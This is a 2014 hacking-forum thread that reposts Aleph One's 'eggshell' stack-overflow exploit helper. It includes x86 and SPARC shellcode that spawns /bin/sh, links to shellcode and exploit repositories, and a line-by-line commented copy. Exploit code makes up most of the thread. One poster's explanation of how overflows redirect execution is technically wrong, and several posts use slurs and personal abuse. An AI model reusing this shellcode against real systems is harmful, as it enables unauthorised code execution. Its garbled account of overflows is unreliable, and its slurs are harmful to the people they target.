The Sanctuary

Technology => Network (in)Security => Topic started by: -SpectraL on October 28, 2014, 01:52:55 pm

Title: Smashing The Stack/Shellcode
Post by: -SpectraL on October 28, 2014, 01:52:55 pm

example:


Code: [Select]
shellcode.h------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE        4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET                    0 #define DEFAULT_BUFFER_SIZE             512 #define DEFAULT_EGG_SIZE               2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); } ------------------------------------------------------------------------------

source: http://insecure.org/stf/smashstack.html
Title: Re: Smashing The Stack/Shellcode
Post by: Nasheeds and Lesbians on October 28, 2014, 01:58:07 pm
How about I smash your drum kit with a reciprocating saw?
Title: Re: Smashing The Stack/Shellcode
Post by: NiggerTree on October 28, 2014, 02:01:48 pm
Didn't read the above LINE of code because you utterly failed at formatting.
Title: Re: Smashing The Stack/Shellcode
Post by: -SpectraL on October 28, 2014, 02:03:20 pm
http://shell-storm.org/shellcode/

http://www.exploit-db.com/shellcode/

http://www.blackhatlibrary.net/Shellcodecs
Title: Re: Smashing The Stack/Shellcode
Post by: Jedi Moped on October 28, 2014, 06:12:32 pm
ITT OP  googles/copypastas code to prove his L337 haxor skillz.
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 04:12:50 am
Oh no, running untrusted binary could compromise my system's security! Who would have suspected such a obscure and non-obvious attack?
Title: Re: Smashing The Stack/Shellcode
Post by: aldra on October 29, 2014, 04:26:09 am
Oh no, running untrusted binary could compromise my system's security! Who would have suspected such a obscure and non-obvious attack?

nah, that's not the point of a buffer overflow, the source is just an example or proof of concept. it'd be nice if speccy explained it beyond a line of code and some links, but it's basically an example of how you can trick a processor into jumping into code of your choosing by overloading it's memory buffer.

buffer overflows are less relevant nowadays considering ASLR, NXbit and all the other protections against jumping into code from data are pretty standard across the board. returning to C library and other workarounds have been around since the late 90s but they're pretty goddamn difficult to pull of successfully.
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 05:09:02 am
Hmm, I get the idea in theory but how do you get code into memory you anticipate being executed and what does the code spectral have todo with that?

I'm looking at the code and I don't understand this:

Code: [Select]
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

If I'm reading it right then this is writing the address (addr) of the top of the stack to a chunk of memory allocated above. What's the point of that? That code doesn't actually seem to get executed anywhere? The next set of fors seems to be doing something similar, writing no-ops and then "shellcode" to data memory. When does this get executed?
Title: Re: Smashing The Stack/Shellcode
Post by: aldra on October 29, 2014, 05:27:53 am
I don't feel like reading code right now, but the basic theory is this -

a buffer's a section of memory set aside to store data; when a program stores data in it it should make sure there's enough space in the buffer for the data and a null terminator, because if data is written beyond the end of the buffer the CPU's registers will get confused.

buffer overflows are exploitable because that confusion is predictable - when the pointer gets to the end of the buffer and hasn't found a null terminator to end the string, it will jump to the memory value of the next byte(s) until the terminator (value zero). to clarify, assume you have a buffer that's 8 characters long - if you enter 9 characters the buffer overflows, and the 9th character ends up just outside of the allowed space. the pointer (eip I think) loads that 9th character, converts it to a byte value and jumps to that location in memory. the trick is to write your code to memory beforehand, then overflow the buffer and finish with a value that points to the memory location of your code.

that seemed rather confusing to write, so consider the following:

I've written my malicious code to memory at 0x78. it's in memory, and I want to jump to it.

I find a buffer that's limited to 8 characters. I fill the buffer with 'faggotxxx'. 'faggotxx' would be fine, but 'faggotxxx' is one character too long. the processor panics at faggotxx and jumps to the value of the remaining characters, in this case the ascii value of 'x', which is dec 120 or hex 78, where our code is stored.



***how do you get the code into memory? as spectral said, use opcodes. opcodes are basically just raw machine code converted to hex... so if you want to exploit something, write it in asm, compile, then convert to hex. to store it in memory, just create a variable that holds that data, find where the variable is stored and jump to that memory address.

something that took me a while to work out at the time - in C, you can encode hex byte values as follows:

\x23\xF3\x32\x2A etc... so in his example, that's the actual payload.
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 05:40:35 am
I find a buffer that's limited to 8 characters. I fill the buffer with 'faggotxxx'. 'faggotxx' would be fine, but 'faggotxxx' is one character too long. the processor panics at faggotxx and jumps to the value of the remaining characters, in this case the ascii value of 'x', which is dec 120 or hex 78, where our code is stored.

The "panics" part is what I think I'm not understanding. Like does something know where the end of the buffer is? A pointer doesn't have a size tied to it so how does the processor or anyone else know this is an exception state or that it ought to panic short of segfaulting? And why would it resume execution starting at the byte following the buffer?
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 05:46:13 am
btw here's the code in OP broken up a bit:

Code: [Select]
// shellcode.h
#if defined(__i386__) && defined(__linux__)
  #define NOP_SIZE 1
  char nop[] = "\x90";
  char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
  }
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  #define NOP_SIZE 4
  char nop[]="\xac\x15\xa1\x6e";
  char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

  unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
  }
#elif defined(__sparc__) && defined(__sun__)
  #define NOP_SIZE        4
  char nop[]="\xac\x15\xa1\x6e";
  char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
    "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
  }
#endif
// eggshell.c
/* * eggshell v1.0 * * Aleph One / aleph1@underground.org */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
void usage(void);
void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
     exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }
  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  addr_ptr = (long *) bof;

  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;

  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0';

  egg[eggsize - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
Title: Re: Smashing The Stack/Shellcode
Post by: aldra on October 29, 2014, 05:47:59 am
honestly I'm not sure about the reasoning behind it, ie. why it converts and jumps to the next memory address. you'd have to do some reading on the history of microprocessor design I'd think.

in terms of how though, it gets to the end of the buffer, then loads data until it either hits a string terminator (null value, 0x00) or fills up the memory stack allocated in the processor and jumps to the memory location represented by the data it read.
Title: Re: Smashing The Stack/Shellcode
Post by: -SpectraL on October 29, 2014, 10:47:07 am

Some services and programs which run on the remote machine use ports to operate through. The ports range from 0-65535. They can be TCP-IP ports, UDP ports and other kinds of ports using other protocols. Remote ports can be scanned with a port scanner to see if they are in use. Ports can also be stealth scanned using a "half open" method. Certain ports are sometimes associated with certain services and programs. Some ports accept remote commands, including machine code. Some ports are "honeypots", meant only to confuse and/or delay the attacker. Other ports are actually active and "listening". A port can be protected by other programs running on other ports. Each program and service has exploitable features, which are usually called 0-Day exploitz, because these exploits are usually patched the same day or week or month they are revealed. Good 0-Day exploitz often come with a PoC (Proof of Concept), which is an example of the exploit.

source: http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports

http://packetstormsecurity.com/files/tags/proof_of_concept
http://packetstormsecurity.com/files/

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

eg: http://www.securityfocus.com/bid/33751/exploit

Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 04:38:59 pm

Some services and programs which run on the remote machine use ports to operate through. The ports range from 0-65535. They can be TCP-IP ports, UDP ports and other kinds of ports using other protocols. Remote ports can be scanned with a port scanner to see if they are in use. Ports can also be stealth scanned using a "half open" method. Certain ports are sometimes associated with certain services and programs. Some ports accept remote commands, including machine code. Some ports are "honeypots", meant only to confuse and/or delay the attacker. Other ports are actually active and "listening". A port can be protected by other programs running on other ports. Each program and service has exploitable features, which are usually called 0-Day exploitz, because these exploits are usually patched the same day or week or month they are revealed. Good 0-Day exploitz often come with a PoC (Proof of Concept), which is an example of the exploit.

source: http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports

http://packetstormsecurity.com/files/tags/proof_of_concept
http://packetstormsecurity.com/files/

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

eg: http://www.securityfocus.com/bid/33751/exploit

Yeah yeah, we all know what ports and 0days are. Nothing you posted explained the code in OP. So like what does the second file do? Is it just supposed to be an example of a vulnerable program? Because there's no point in doing an overflow attack in your own code, you could just change the code. Also can you shed light on why execution ever gets to `egg`? It's just dynamically allocated memory, it doesn't even get overflowed. In fact it doesn't look like anything is getting overflowed. All it seems to be doing is copying memory from the stack to the heap?
Title: Re: Smashing The Stack/Shellcode
Post by: -SpectraL on October 29, 2014, 09:39:57 pm

Yeah yeah, we all know what ports and 0days are.

Then again, you don't speak for everyone who may be reading this thread. Some may not know, and that's why I posted the info.

As for your other "questions", go fuck yourself. I don't answer the questions of known PI-rats and &Totse traitors like you. The only way I'd help you is to throw you an anvil if you were drowning. Keep fagging my thread up and I'll just put you on ignore.
Title: Re: Smashing The Stack/Shellcode
Post by: 10 gun salute on October 29, 2014, 09:51:29 pm

Yeah yeah, we all know what ports and 0days are.

Then again, you don't speak for everyone who may be reading this thread. Some may not know, and that's why I posted the info.

As for your other "questions", go fuck yourself. I don't answer the questions of known PI-rats and &Totse traitors like you. The only way I'd help you is to throw you an anvil if you were drowning. Keep fagging my thread up and I'll just put you on ignore.

oh my god spectral, just kick the ladder out next time you're on a roof
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 10:56:55 pm
lol, nice admission that you have no idea what that code actually does fagtral
Title: Re: Smashing The Stack/Shellcode
Post by: -SpectraL on October 29, 2014, 10:59:47 pm
lol, nice admission that you have no idea what that code actually does fagtral

I know what it does, you dumb kid. I used to write my own, and they worked extremely well.
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 29, 2014, 11:00:51 pm
Then you wouldn't pussy out in trying to explain it, like how you felt you needed to explain what a port is.
Title: Re: Smashing The Stack/Shellcode
Post by: aldra on October 29, 2014, 11:20:07 pm

I know what it does, you dumb kid. I used to write my own, and they worked extremely well.

copypasting articles from phrack and not explaining them really doesn't help anyone, especially since the two things you posted aren't even directly related

I'm commenting the overflow code now
Title: Re: Smashing The Stack/Shellcode
Post by: aldra on October 30, 2014, 05:28:14 am
Code: [Select]
// shellcode.h - header file

#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1 char nop[] = "\x90";
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}


#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e";

char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void)
{
__asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE        4 char nop[]="\xac\x15\xa1\x6e";

char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void)
{
__asm__("or %sp, %sp, %i0");
}

#endif

I won't inline-comment this because it's fairly straightforward - because the payload is written in assembler, different payloads are required for different processor types (x86, and two SPARC variants are defined here). the program auto-detects the processor based on system variables and chooses the correct payload automatically. the NOP is the no-operation code, an assembler instruction to do nothing. in this circumstance I think it's used to overwrite anything that was previously in the memory location without interfering with operation of the shellcode (see http://en.wikipedia.org/wiki/NOP_slide).

Code: [Select]
// eggshell.c - code file
/ * * eggshell v1.0 * * Aleph One / aleph1@underground.org */

#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048

void usage(void);

void main(int argc, char *argv[])
{
char *ptr, *bof, *egg; long *addr_ptr, addr; // declare a bunch of variables
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // command-line parameters default to the #define'd defaults above unless overriden
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; // as above

while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) // not important - this part reads the command line parameters
switch (c)
{
case 'a': align = atoi(optarg);
break;
case 'b': bsize = atoi(optarg);
break;
case 'e': eggsize = atoi(optarg);
break;
case 'o': offset = atoi(optarg);
break; case '?': usage();
exit(0);
} // end command line reader
if (strlen(shellcode) > eggsize) // validate whether shellcode can fit in 'egg'
{
printf("Shellcode is larger the the egg.\n");
exit(0);
}

if (!(bof = malloc(bsize))) // allocate a buffer with a fixed length to be exploited
{
printf("Can't allocate memory.\n");
exit(0);
}

if (!(egg = malloc(eggsize)) // allocate a block of memory to hold the 'egg'
{
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset; // I think we're missing some code here, because get_sp() is supposed to link to an asm function to get the current stack pointer

printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof; // create a pointer (in addr_ptr) to the exploitable buffer

for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; // move the pointer to the very end of the buffer

ptr = egg; // put a pointer at the beginning of the egg's memory
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) // calculate length of data in the egg (shellcode + 1 NOP) to see how much needs to be filled up with NOPs

for (n = 0; n < NOP_SIZE; n++)
{
m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; // fucking math. I think this is to fill the egg up with NOPs, convoluted calculation because that interrupt code is more than 1 byte
}

for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // ptr is still at the beginning of egg, this loop reads all bytes from shellcode and pushes them to egg, one by one

bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; // add null terminator (ie. end of string code) to the end of the exploitable buffer and the end of the egg
memcpy(egg,"EGG=",4); // set egg as environment variable
putenv(egg);
memcpy(bof,"BOF=",4); // set exploitable buffer as environment variable
putenv(bof);
system("/bin/sh");
}

void usage(void)
{
(void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}


ok this is incomplete. if we look at http://insecure.org/stf/smashstack.html, the exploit is meant to be run alongside vulnerable.c - this one creates the exploit code, and you are meant to pipe the output to vulnerable.c which is the program that actually has the vulnerable buffer as it's input parameter.





sorry if I fucked anything up, I'll go back and recheck later - been doing this off and on at work today
Title: Re: Smashing The Stack/Shellcode
Post by: Lanny on October 31, 2014, 01:43:11 am
Ahh, I see now. I thought execution was going to hit that malloc'd buffer which doesn't make sense since you can just execute arbitrary code if you're there anyway, no need to try and create an overflow if you control the program counter. Thanks for going through the process of commenting it.